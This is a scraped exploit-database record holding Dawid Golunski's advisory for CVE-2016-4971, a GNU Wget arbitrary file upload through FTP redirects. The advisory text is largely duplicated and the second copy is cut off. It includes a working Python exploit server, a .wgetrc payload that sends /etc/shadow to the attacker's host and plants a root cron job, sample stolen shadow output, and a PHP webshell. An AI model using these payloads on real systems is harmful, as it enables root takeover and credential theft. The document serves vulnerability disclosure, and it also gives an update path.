INTRODUCTION\r\n-------------------------\r\n \r\nGNU Wget before 1.18 when supplied with a malicious URL (to a malicious or \r\ncompromised web server) can be tricked into saving an arbitrary remote file \r\nsupplied by an attacker, with arbitrary contents and filename under \r\nthe current directory and possibly other directories by writing to .wgetrc.\r\nDepending on the context in which wget is used, this can lead to remote code \r\nexecution and even root privilege escalation if wget is run via a root cronjob \r\nas is often the case in many web application deployments. \r\nThe vulnerability could also be exploited by well-positioned attackers within\r\nthe network who are able to intercept/modify the network traffic.\r\n \r\n \r\nIV. DESCRIPTION\r\n-------------------------\r\n \r\nBecause of lack of sufficient controls in wget, when user downloads a file \r\nwith wget, such as:\r\n \r\nwget http://attackers-server/safe_file.txt\r\n \r\nan attacker who controls the server could make wget create an arbitrary file\r\nwith an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect \r\ncontaining FTP server reference in response to the victim's wget request. \r\n \r\nFor example, if the attacker's server replies with the following response:\r\n \r\nHTTP/1.1 302 Found\r\nCache-Control: private\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: ftp://attackers-server/.bash_profile\r\nContent-Length: 262\r\nServer: Apache\r\n \r\nwget will automatically follow the redirect and will download a malicious\r\n.bash_profile file from a malicious FTP server. \r\nIt will fail to rename the file to the originally requested filename of \r\n'safe_file.txt' as it would normally do, in case of a redirect to another \r\nHTTP resource with a different name. \r\n \r\nBecause of this vulnerability, an attacker is able to upload an arbitrary file\r\nwith an arbitrary filename to the victim's current directory.\r\n \r\nExecution flow:\r\n \r\n[email\u00a0protected]:~$ wget --version | head -n1\r\nGNU Wget 1.17 built on linux-gnu.\r\n \r\n[email\u00a0protected]:~$ pwd\r\n/home/victim\r\n \r\n[email\u00a0protected]:~$ ls\r\n[email\u00a0protected]:~$ \r\n \r\n[email\u00a0protected]:~$ wget http://attackers-server/safe-file.txt\r\nResolving attackers-server... 192.168.57.1\r\nConnecting to attackers-server|192.168.57.1|:80... connected.\r\nHTTP request sent, awaiting response... 302 Found\r\nLocation: ftp://192.168.57.1/.bash_profile [following]\r\n => \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122\r\nConnecting to 192.168.57.1:21... connected.\r\nLogging in as anonymous ... Logged in!\r\n==> SYST ... done. ==> PWD ... done.\r\n==> TYPE I ... done. ==> CWD not needed.\r\n==> SIZE .bash_profile ... 55\r\n==> PASV ... done. ==> RETR .bash_profile ... done.\r\nLength: 55 (unauthoritative)\r\n \r\n.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s\r\n \r\n2016-02-19 04:50:37 (1.27 MB/s) - \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122 saved [55]\r\n \r\n \r\n[email\u00a0protected]:~$ ls -l\r\ntotal 4\r\n-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile\r\n[email\u00a0protected]:~$ \r\n \r\n \r\nThis vulnerability will not work if extra options that force destination\r\nfilename are specified as a paramter. Such as: -O /tmp/output\r\nIt is however possible to exploit the issue with mirroring/recursive options\r\nenabled such as -r or -m.\r\n \r\nAnother limitation is that attacker exploiting this vulnerability can only\r\nupload his malicious file to the current directory from which wget was run, \r\nor to a directory specified by -P option (directory_prefix option).\r\nThis could however be enough to exploit wget run from home directory, or\r\nwithin web document root (in which case attacker could write malicious php files\r\nor .bash_profile files).\r\n \r\nThe current directory limitation could also be bypassed by uploading a .wgetrc \r\nconfig file if wget was run from a home directory.\r\n \r\nBy saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget\r\nsettings such as destination directory for all downloaded files in future,\r\nas well as set a proxy setting to make future requests go through a malicious \r\nproxy server belonging to the attackers to which they could send further \r\nmalicious responses.\r\n \r\n \r\nHere is a set of Wget settings that can be helpful to an attacker:\r\n \r\ndir_prefix = string\r\n Top of directory tree\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-P string\u00e2\u20ac\u2122.\r\n \r\npost_file = file\r\n Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as \u00e2\u20ac\u02dc--post-file=file\u00e2\u20ac\u2122.\r\n \r\nrecursive = on/off\r\n Recursive on/off\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-r\u00e2\u20ac\u2122.\r\n \r\ntimestamping = on/off\r\n Allows to overwrite existing files.\r\n \r\ncut_dirs = n\r\n Ignore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).\r\n \r\nhttp_proxy \r\n HTTP Proxy server\r\n \r\nhttps_proxy \r\n HTTPS Proxy server\r\n \r\noutput_document = file\r\n Set the output filename\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-O file\u00e2\u20ac\u2122.\r\n \r\ninput = file\r\n Read the URLs from string, like \u00e2\u20ac\u02dc-i file\u00e2\u20ac\u2122.\r\n \r\nmetalink-over-http\r\n Issues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. \r\n Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.\r\n \r\n \r\n \r\nFull list of .wgetrc options can be found in:\r\n \r\nhttps://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands\r\n \r\n \r\n \r\nV. PROOF OF CONCEPT EXPLOIT\r\n-------------------------\r\n \r\n \r\n1) Cronjob with wget scenario\r\n \r\nOften wget is used inside cronjobs. By default cronjobs run within home \r\ndirectory of the cronjob owner.\r\nSuch wget cronjobs are commonly used with many applications used to download \r\nnew version of databases, requesting web scripts that perform scheduled tasks \r\nsuch as rebuilding indexes, cleaning caches etc. \r\nHere are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on \r\nthe Internet with exploitable wget cronjobs:\r\n \r\nhttps://codex.wordpress.org/Post_to_your_blog_using_email\r\nhttps://docs.moodle.org/2x/ca/Cron\r\nhttp://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site\r\nhttp://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel\r\n \r\nSuch setup could be abused by attackers to upload .bash_profile file through\r\nwget vulnerability and run commands in the context of the victim user upon \r\ntheir next log-in. \r\n \r\nAs cron runs priodically attackers, could also write out .wgetrc file in the \r\nfirst response and then write to /etc/cron.d/malicious-cron in the second. \r\nIf a cronjob is run by root, this would give them an almost instant root code \r\nexecution.\r\n \r\n \r\nIt is worth noting that if an attacker had access to local network they could \r\npotentially modify unencrypted HTTP traffic to inject malicious 30X Redirect \r\nresponses to wget requests.\r\n \r\nThis issue could also be exploited by attackers who have already gained \r\naccess to the server through a web vulnerability to escalate their privileges. \r\nIn many cases the cron jobs (as in examples above) are set up to request \r\nvarious web scripts e.g: \r\nhttp://localhost/clean-cache.php \r\n \r\nIf the file was writable by apache, and attacker had access to www-data/apache \r\naccount, they could modify it to return malicious Location header and exploit \r\nroot cronjob that runs the wget request in order to escalate their privileges \r\nto root.\r\n \r\n \r\nFor simplicity we can assume that attacker already has control over the server \r\nthat the victim sends the request to with wget.\r\n \r\nThe root cronjob on the victim server may look as follows:\r\n \r\n[email\u00a0protected]:~# cat /etc/cron.d/update-database\r\n# Update database file every 2 minutes\r\n*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1\r\n \r\n \r\nIn order to exploit this setup, attacker first prepares a malicious .wgetrc \r\nand starts an FTP server:\r\n \r\nattackers-server# mkdir /tmp/ftptest\r\nattackers-server# cd /tmp/ftptest\r\n \r\nattackers-server# cat <<_EOF_>.wgetrc\r\npost_file = /etc/shadow\r\noutput_document = /etc/cron.d/wget-root-shell\r\n_EOF_\r\n \r\nattackers-server# sudo pip install pyftpdlib\r\nattackers-server# python -m pyftpdlib -p21 -w\r\n \r\n \r\nAt this point attacker can start an HTTP server which will exploit wget by\r\nsending malicious redirects to the victim wget's requests:\r\n \r\n---[ wget-exploit.py ]---\r\n \r\n#!/usr/bin/env python\r\n \r\n#\r\n# Wget 1.18 < Arbitrary File Upload Exploit\r\n# Dawid Golunski\r\n# dawid( at )legalhackers.com\r\n#\r\n# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\r\n#\r\n# CVE-2016-4971 \r\n#\r\n \r\nimport SimpleHTTPServer\r\nimport SocketServer\r\nimport socket;\r\n \r\nclass wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):\r\n def do_GET(self):\r\n # This takes care of sending .wgetrc\r\n \r\n print \"We have a volunteer requesting \" + self.path + \" by GET :)\\n\"\r\n if \"Wget\" not in self.headers.getheader('User-Agent'):\r\n print \"But it's not a Wget :( \\n\"\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(\"Nothing to see here...\")\r\n return\r\n \r\n print \"Uploading .wgetrc via ftp redirect vuln. It should land in /root \\n\"\r\n self.send_response(301)\r\n new_path = '%s'%('ftp://[email\u00a0protected]%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )\r\n print \"Sending redirect to %s \\n\"%(new_path)\r\n self.send_header('Location', new_path)\r\n self.end_headers()\r\n \r\n def do_POST(self):\r\n # In here we will receive extracted file and install a PoC cronjob\r\n \r\n print \"We have a volunteer requesting \" + self.path + \" by POST :)\\n\"\r\n if \"Wget\" not in self.headers.getheader('User-Agent'):\r\n print \"But it's not a Wget :( \\n\"\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(\"Nothing to see here...\")\r\n return\r\n \r\n content_len = int(self.headers.getheader('content-length', 0))\r\n post_body = self.rfile.read(content_len)\r\n print \"Received POST from wget, this should be the extracted /etc/shadow file: \\n\\n---[begin]---\\n %s \\n---[eof]---\\n\\n\" % (post_body)\r\n \r\n print \"Sending back a cronjob script as a thank-you for the file...\" \r\n print \"It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\"\r\n self.send_response(200)\r\n self.send_header('Content-type', 'text/plain')\r\n self.end_headers()\r\n self.wfile.write(ROOT_CRON)\r\n \r\n print \"\\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \\n\"\r\n \r\n return\r\n \r\nHTTP_LISTEN_IP = '192.168.57.1'\r\nHTTP_LISTEN_PORT = 80\r\nFTP_HOST = '192.168.57.1'\r\nFTP_PORT = 21\r\n \r\nROOT_CRON = \"* * * * * root /usr/bin/id > /root/hacked-via-wget \\n\"\r\n \r\nhandler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\r\n \r\nprint \"Ready? Is your FTP server running?\"\r\n \r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nresult = sock.connect_ex((FTP_HOST, FTP_PORT))\r\nif result == 0:\r\n print \"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT)\r\nelse:\r\n print \"FTP is down :( Exiting.\"\r\n exit(1)\r\n \r\nprint \"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT\r\n \r\nhandler.serve_forever()\r\n \r\n \r\n---[ eof ]---\r\n \r\n \r\n \r\nAttacker can run wget-exploit.py and wait a few minutes until the victim's server executes\r\nthe aforementioned cronjob with wget.\r\n \r\nThe output should look similar to:\r\n \r\n \r\n---[ wget-exploit.py output ]---\r\n \r\nattackers-server# python ./wget-exploit.py \r\n \r\nReady? Is your FTP server running?\r\nFTP found open on 192.168.57.1:21. Let's go then\r\n \r\nServing wget exploit on port 80...\r\n \r\n \r\nWe have a volunteer requesting /database.db by GET :)\r\n \r\nUploading .wgetrc via ftp redirect vuln. It should land in /root \r\n \r\n192.168.57.10 - - [26/Feb/2016 15:03:54] \"GET /database.db HTTP/1.1\" 301 -\r\nSending redirect to ftp://[email\u00a0protected]:21/.wgetrc \r\n \r\nWe have a volunteer requesting /database.db by POST :)\r\n \r\nReceived POST from wget, this should be the extracted /etc/shadow file: \r\n \r\n---[begin]---\r\nroot:$6$FsAu5RlS$b2J9GDm.....cut......9P19Nb./Y75nypB4FXXzX/:16800:0:99999:7:::\r\ndaemon:*:16484:0:99999:7:::\r\nbin:*:16484:0:99999:7:::\r\nsys:*:16484:0:99999:7:::\r\nsync:*:16484:0:99999:7:::\r\ngames:*:16484:0:99999:7:::\r\nman:*:16484:0:99999:7:::\r\nlp:*:16484:0:99999:7:::\r\n...cut...\r\n---[eof]---\r\n \r\nSending back a cronjob script as a thank-you for the file...\r\nIt should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\r\n192.168.57.10 - - [26/Feb/2016 15:05:54] \"POST /database.db HTTP/1.1\" 200 -\r\n \r\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \r\n \r\n---[ output eof ]---\r\n \r\n \r\nAs we can see .wgetrc got uploaded by the exploit. It has set the post_file\r\nsetting to /etc/shadow.\r\nTherefore, on the next wget run, wget sent back shadow file to the attacker.\r\nIt also saved the malicious cronjob script (ROOT_CRON variable) which should \r\ncreate a file named /root/hacked-via-wget, which we can verify on the victim's \r\nserver:\r\n \r\n \r\n[email\u00a0protected]:~# cat /etc/cron.d/wget-root-shell \r\n* * * * * root /usr/bin/id > /root/hacked-via-wget \r\n \r\n[email\u00a0protected]:~# cat /root/hacked-via-wget \r\nuid=0(root) gid=0(root) groups=0(root)\r\n \r\n \r\n \r\n2) PHP web application scenario\r\n \r\nIf wget is used within a PHP script e.g.:\r\n \r\n<?php\r\n \r\n// Update geoip data\r\n \r\n system(\"wget -N -P geoip http://attackers-host/goeip.db\"); \r\n \r\n?>\r\n \r\nAn attacker who manages to respond to the request could simply upload a PHP\r\nbackdoor of:\r\n \r\n<?php\r\n //webshell.php\r\n \r\n system($_GET['cmd']);\r\n?>\r\n \r\nby using the wget-exploit script described in example 1.\r\n \r\nAfter the upload he could simply execute the script and their shell\r\ncommand by a GET request to:\r\n \r\nhttp://victims-php-host/geoip/webshell.php?cmd=id\r\n \r\n \r\nVI. BUSINESS IMPACT\r\n-------------------------\r\n \r\nAffected versions of wget that connect to untrusted (or compromised) web \r\nservers could be tricked into uploading a file under an arbitrary name, or\r\neven path (if wget is run from a home directory).\r\nDepending on the context in which wget is used, this could lead to\r\nuploading a web shell and granting the attacker access remote access to the\r\nsystem, or privilege escalation. It could be possible for attackers to escalate\r\nto root user if wget is run via root cronjob as it is often the case in web \r\napplication deployments and is recommended in some guides on the Internet.\r\n \r\nThe vulnerability could also be exploited by well-positioned attackers within\r\nthe networ who are able to intercept/modify the network traffic.\r\n \r\n \r\nVII. SYSTEMS AFFECTED\r\n-------------------------\r\n \r\nAll versions of Wget before the patched version of 1.18 are affected.\r\n \r\nVIII. SOLUTION\r\n-------------------------\r\n \r\nUpdate to wget version 1.18 as advertised by the vendor at:\r\n \r\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\r\n \r\nLinux distributions should update their wget packages. It is recommended\r\nto update wget manually if an updated package is not available for your\r\ndistribution.\r\n \r\nIX. REFERENCES\r\n-------------------------\r\n \r\nhttp://legalhackers.com\r\n \r\nhttp://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\r\n \r\nhttp://lists.gnu.org/archive/html/info-gnu/2016-06/msg00004.html\r\n \r\nhttp://www.ubuntu.com/usn/usn-3012-1/\r\n \r\nhttps://bugzilla.redhat.com/show_bug.cgi?id=1343666#c1\r\n \r\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971\r\n \r\nX. CREDITS\r\n-------------------------\r\n \r\nThe vulnerability has been discovered by Dawid Golunski\r\ndawid (at) legalhackers (dot) com\r\nlegalhackers.com\r\n \r\nXI. REVISION HISTORY\r\n-------------------------\r\n \r\n06.07.2016 - Advisory released\r\n \r\nXII. LEGAL NOTICES\r\n-------------------------\r\n \r\nThe information contained within this advisory is supplied \"as-is\" with\r\nno warranties or guarantees of fitness of use or otherwise. I accept no\r\nresponsibility for any damage caused by the use or misuse of this information.\n\n# 0day.today [2018-04-08] #", "sourceHref": "https://0day.today/exploit/25433", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "exploitdb": [{"lastseen": "2022-01-13T05:43:54", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-07-06T00:00:00", "type": "exploitdb", "title": "GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971", "2016-4971"], "modified": "2016-07-06T00:00:00", "id": "EDB-ID:40064", "href": "https://www.exploit-db.com/exploits/40064", "sourceData": "=============================================\r\n- Release date: 06.07.2016\r\n- Discovered by: Dawid Golunski\r\n- Severity: High\r\n- CVE-2016-4971\r\n=============================================\r\n\r\n\r\nI. VULNERABILITY\r\n-------------------------\r\n\r\nGNU Wget < 1.18 Arbitrary File Upload / Potential Remote Code Execution\r\n\r\n\r\nII. BACKGROUND\r\n-------------------------\r\n\r\n\"GNU Wget is a free software package for retrieving files using HTTP, HTTPS and \r\nFTP, the most widely-used Internet protocols. \r\nIt is a non-interactive commandline tool, so it may easily be called from \r\nscripts, cron jobs, terminals without X-Windows support, etc.\r\n\r\nGNU Wget has many features to make retrieving large files or mirroring entire \r\nweb or FTP sites easy\r\n\"\r\n\r\nhttps://www.gnu.org/software/wget/\r\n\r\n\r\nIII. INTRODUCTION\r\n-------------------------\r\n\r\nGNU Wget before 1.18 when supplied with a malicious URL (to a malicious or \r\ncompromised web server) can be tricked into saving an arbitrary remote file \r\nsupplied by an attacker, with arbitrary contents and filename under \r\nthe current directory and possibly other directories by writing to .wgetrc.\r\nDepending on the context in which wget is used, this can lead to remote code \r\nexecution and even root privilege escalation if wget is run via a root cronjob \r\nas is often the case in many web application deployments. \r\nThe vulnerability could also be exploited by well-positioned attackers within\r\nthe network who are able to intercept/modify the network traffic.\r\n\r\n\r\nIV. DESCRIPTION\r\n-------------------------\r\n\r\nBecause of lack of sufficient controls in wget, when user downloads a file \r\nwith wget, such as:\r\n\r\nwget http://attackers-server/safe_file.txt\r\n\r\nan attacker who controls the server could make wget create an arbitrary file\r\nwith an arbitrary contents and filename by issuing a crafted HTTP 30X Redirect \r\ncontaining FTP server reference in response to the victim's wget request. \r\n\r\nFor example, if the attacker's server replies with the following response:\r\n\r\nHTTP/1.1 302 Found\r\nCache-Control: private\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: ftp://attackers-server/.bash_profile\r\nContent-Length: 262\r\nServer: Apache\r\n\r\nwget will automatically follow the redirect and will download a malicious\r\n.bash_profile file from a malicious FTP server. \r\nIt will fail to rename the file to the originally requested filename of \r\n'safe_file.txt' as it would normally do, in case of a redirect to another \r\nHTTP resource with a different name. \r\n\r\nBecause of this vulnerability, an attacker is able to upload an arbitrary file\r\nwith an arbitrary filename to the victim's current directory.\r\n\r\nExecution flow:\r\n\r\nvictim@trusty:~$ wget --version | head -n1\r\nGNU Wget 1.17 built on linux-gnu.\r\n\r\nvictim@trusty:~$ pwd\r\n/home/victim\r\n\r\nvictim@trusty:~$ ls\r\nvictim@trusty:~$ \r\n\r\nvictim@trusty:~$ wget http://attackers-server/safe-file.txt\r\nResolving attackers-server... 192.168.57.1\r\nConnecting to attackers-server|192.168.57.1|:80... connected.\r\nHTTP request sent, awaiting response... 302 Found\r\nLocation: ftp://192.168.57.1/.bash_profile [following]\r\n => \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122\r\nConnecting to 192.168.57.1:21... connected.\r\nLogging in as anonymous ... Logged in!\r\n==> SYST ... done. ==> PWD ... done.\r\n==> TYPE I ... done. ==> CWD not needed.\r\n==> SIZE .bash_profile ... 55\r\n==> PASV ... done. ==> RETR .bash_profile ... done.\r\nLength: 55 (unauthoritative)\r\n\r\n.bash_profile 100%[=============================================================================================>] 55 --.-KB/s in 0s\r\n\r\n2016-02-19 04:50:37 (1.27 MB/s) - \u00e2\u20ac\u02dc.bash_profile\u00e2\u20ac\u2122 saved [55]\r\n\r\n\r\nvictim@trusty:~$ ls -l\r\ntotal 4\r\n-rw-rw-r-- 1 victim victim 55 Feb 19 04:50 .bash_profile\r\nvictim@trusty:~$ \r\n\r\n\r\nThis vulnerability will not work if extra options that force destination\r\nfilename are specified as a paramter. Such as: -O /tmp/output\r\nIt is however possible to exploit the issue with mirroring/recursive options\r\nenabled such as -r or -m.\r\n\r\nAnother limitation is that attacker exploiting this vulnerability can only\r\nupload his malicious file to the current directory from which wget was run, \r\nor to a directory specified by -P option (directory_prefix option).\r\nThis could however be enough to exploit wget run from home directory, or\r\nwithin web document root (in which case attacker could write malicious php files\r\nor .bash_profile files).\r\n\r\nThe current directory limitation could also be bypassed by uploading a .wgetrc \r\nconfig file if wget was run from a home directory.\r\n\r\nBy saving .wgetrc in /home/victim/.wgetrc an attacker could set arbitrary wget\r\nsettings such as destination directory for all downloaded files in future,\r\nas well as set a proxy setting to make future requests go through a malicious \r\nproxy server belonging to the attackers to which they could send further \r\nmalicious responses.\r\n\r\n\r\nHere is a set of Wget settings that can be helpful to an attacker:\r\n\r\ndir_prefix = string\r\n\tTop of directory tree\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-P string\u00e2\u20ac\u2122.\r\n\r\npost_file = file\r\n\tUse POST as the method for all HTTP requests and send the contents of file in the request body. The same as \u00e2\u20ac\u02dc--post-file=file\u00e2\u20ac\u2122.\r\n\r\nrecursive = on/off\r\n\tRecursive on/off\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-r\u00e2\u20ac\u2122.\r\n\r\ntimestamping = on/off\r\n\tAllows to overwrite existing files.\r\n\r\ncut_dirs = n\r\n\tIgnore n remote directory components. Allows attacker to create directories with wget (when combined with recursive option).\r\n\r\nhttp_proxy \r\n\tHTTP Proxy server\r\n\r\nhttps_proxy \r\n\tHTTPS Proxy server\r\n\r\noutput_document = file\r\n\tSet the output filename\u00e2\u20ac\u201dthe same as \u00e2\u20ac\u02dc-O file\u00e2\u20ac\u2122.\r\n\r\ninput = file\r\n\tRead the URLs from string, like \u00e2\u20ac\u02dc-i file\u00e2\u20ac\u2122.\r\n\r\nmetalink-over-http\r\n\tIssues HTTP HEAD request instead of GET and extracts Metalink metadata from response headers. \r\n Then it switches to Metalink download. If no valid Metalink metadata is found, it falls back to ordinary HTTP download.\r\n\r\n\r\n\r\nFull list of .wgetrc options can be found in:\r\n\r\nhttps://www.gnu.org/software/wget/manual/wget.html#Wgetrc-Commands\r\n\r\n\r\n\r\nV. PROOF OF CONCEPT EXPLOIT\r\n-------------------------\r\n\r\n\r\n1) Cronjob with wget scenario\r\n\r\nOften wget is used inside cronjobs. By default cronjobs run within home \r\ndirectory of the cronjob owner.\r\nSuch wget cronjobs are commonly used with many applications used to download \r\nnew version of databases, requesting web scripts that perform scheduled tasks \r\nsuch as rebuilding indexes, cleaning caches etc. \r\nHere are a few example tutorials for Wordpress/Moodle/Joomla/Drupal found on \r\nthe Internet with exploitable wget cronjobs:\r\n\r\nhttps://codex.wordpress.org/Post_to_your_blog_using_email\r\nhttps://docs.moodle.org/2x/ca/Cron\r\nhttp://www.joomlablogger.net/joomla-tips/joomla-general-tips/how-to-set-up-a-content-delivery-network-cdn-for-your-joomla-site\r\nhttp://www.zyxware.com/articles/4483/drupal-how-to-add-a-cron-job-via-cpanel\r\n\r\nSuch setup could be abused by attackers to upload .bash_profile file through\r\nwget vulnerability and run commands in the context of the victim user upon \r\ntheir next log-in. \r\n\r\nAs cron runs priodically attackers, could also write out .wgetrc file in the \r\nfirst response and then write to /etc/cron.d/malicious-cron in the second. \r\nIf a cronjob is run by root, this would give them an almost instant root code \r\nexecution.\r\n\r\n\r\nIt is worth noting that if an attacker had access to local network they could \r\npotentially modify unencrypted HTTP traffic to inject malicious 30X Redirect \r\nresponses to wget requests.\r\n\r\nThis issue could also be exploited by attackers who have already gained \r\naccess to the server through a web vulnerability to escalate their privileges. \r\nIn many cases the cron jobs (as in examples above) are set up to request \r\nvarious web scripts e.g: \r\nhttp://localhost/clean-cache.php \r\n\r\nIf the file was writable by apache, and attacker had access to www-data/apache \r\naccount, they could modify it to return malicious Location header and exploit \r\nroot cronjob that runs the wget request in order to escalate their privileges \r\nto root.\r\n\r\n\r\nFor simplicity we can assume that attacker already has control over the server \r\nthat the victim sends the request to with wget.\r\n\r\nThe root cronjob on the victim server may look as follows:\r\n\r\nroot@victim:~# cat /etc/cron.d/update-database\r\n# Update database file every 2 minutes\r\n*/2 * * * * root wget -N http://attackers-server/database.db > /dev/null 2>&1\r\n\r\n\r\nIn order to exploit this setup, attacker first prepares a malicious .wgetrc \r\nand starts an FTP server:\r\n\r\nattackers-server# mkdir /tmp/ftptest\r\nattackers-server# cd /tmp/ftptest\r\n\r\nattackers-server# cat <<_EOF_>.wgetrc\r\npost_file = /etc/shadow\r\noutput_document = /etc/cron.d/wget-root-shell\r\n_EOF_\r\n\r\nattackers-server# sudo pip install pyftpdlib\r\nattackers-server# python -m pyftpdlib -p21 -w\r\n\r\n\r\nAt this point attacker can start an HTTP server which will exploit wget by\r\nsending malicious redirects to the victim wget's requests:\r\n \r\n---[ wget-exploit.py ]---\r\n\r\n#!/usr/bin/env python\r\n\r\n#\r\n# Wget 1.18 < Arbitrary File Upload Exploit\r\n# Dawid Golunski\r\n# dawid( at )legalhackers.com\r\n#\r\n# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt\r\n#\r\n# CVE-2016-4971 \r\n#\r\n\r\nimport SimpleHTTPServer\r\nimport SocketServer\r\nimport socket;\r\n\r\nclass wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):\r\n def do_GET(self):\r\n # This takes care of sending .wgetrc\r\n\r\n print \"We have a volunteer requesting \" + self.path + \" by GET :)\\n\"\r\n if \"Wget\" not in self.headers.getheader('User-Agent'):\r\n\t print \"But it's not a Wget :( \\n\"\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(\"Nothing to see here...\")\r\n return\r\n\r\n print \"Uploading .wgetrc via ftp redirect vuln. It should land in /root \\n\"\r\n self.send_response(301)\r\n new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )\r\n print \"Sending redirect to %s \\n\"%(new_path)\r\n self.send_header('Location', new_path)\r\n self.end_headers()\r\n\r\n def do_POST(self):\r\n # In here we will receive extracted file and install a PoC cronjob\r\n\r\n print \"We have a volunteer requesting \" + self.path + \" by POST :)\\n\"\r\n if \"Wget\" not in self.headers.getheader('User-Agent'):\r\n\t print \"But it's not a Wget :( \\n\"\r\n self.send_response(200)\r\n self.end_headers()\r\n self.wfile.write(\"Nothing to see here...\")\r\n return\r\n\r\n content_len = int(self.headers.getheader('content-length', 0))\r\n post_body = self.rfile.read(content_len)\r\n print \"Received POST from wget, this should be the extracted /etc/shadow file: \\n\\n---[begin]---\\n %s \\n---[eof]---\\n\\n\" % (post_body)\r\n\r\n print \"Sending back a cronjob script as a thank-you for the file...\" \r\n print \"It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)\"\r\n self.send_response(200)\r\n self.send_header('Content-type', 'text/plain')\r\n self.end_headers()\r\n self.wfile.write(ROOT_CRON)\r\n\r\n print \"\\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \\n\"\r\n\r\n return\r\n\r\nHTTP_LISTEN_IP = '192.168.57.1'\r\nHTTP_LISTEN_PORT = 80\r\nFTP_HOST = '192.168.57.1'\r\nFTP_PORT = 21\r\n\r\nROOT_CRON = \"* * * * * root /usr/bin/id > /root/hacked-via-wget \\n\"\r\n\r\nhandler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)\r\n\r\nprint \"Ready? Is your FTP server running?\"\r\n\r\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\nresult = sock.connect_ex((FTP_HOST, FTP_PORT))\r\nif result == 0:\r\n print \"FTP found open on %s:%s. Let's go then\\n\" % (FTP_HOST, FTP_PORT)\r\nelse:\r\n print \"FTP is down :( Exiting.\"\r\n exit(1)\r\n\r\nprint \"Serving wget exploit on port %s...\\n\\n\" % HTTP_LISTEN_PORT\r\n\r\nhandler.serve_forever()\r\n\r\n\r\n---[ eof ]---\r\n\r\n\r\n\r\nAttacker can run wget-exploit.py and wait a few minutes until the victim's server executes\r\nthe aforementioned cronjob with wget.\r\n\r\nThe output should look similar to:\r\n\r\n\r\n---[ wget-exploit.py output ]---\r\n\r\nattackers-server# python ./wget-exploit.py \r\n\r\nReady? Is your FTP server running?\r\nFTP found open on 192.168.57.1:21. Let's go then\r\n\r\nServing wget exploit on port 80...\r\n\r\n\r\nWe have a volunteer requesting /database.db by GET :)\r\n\r\nUploading .wgetrc via ftp redirect vuln. It should land in /root \r\n\r\n192.168.57.10 - - 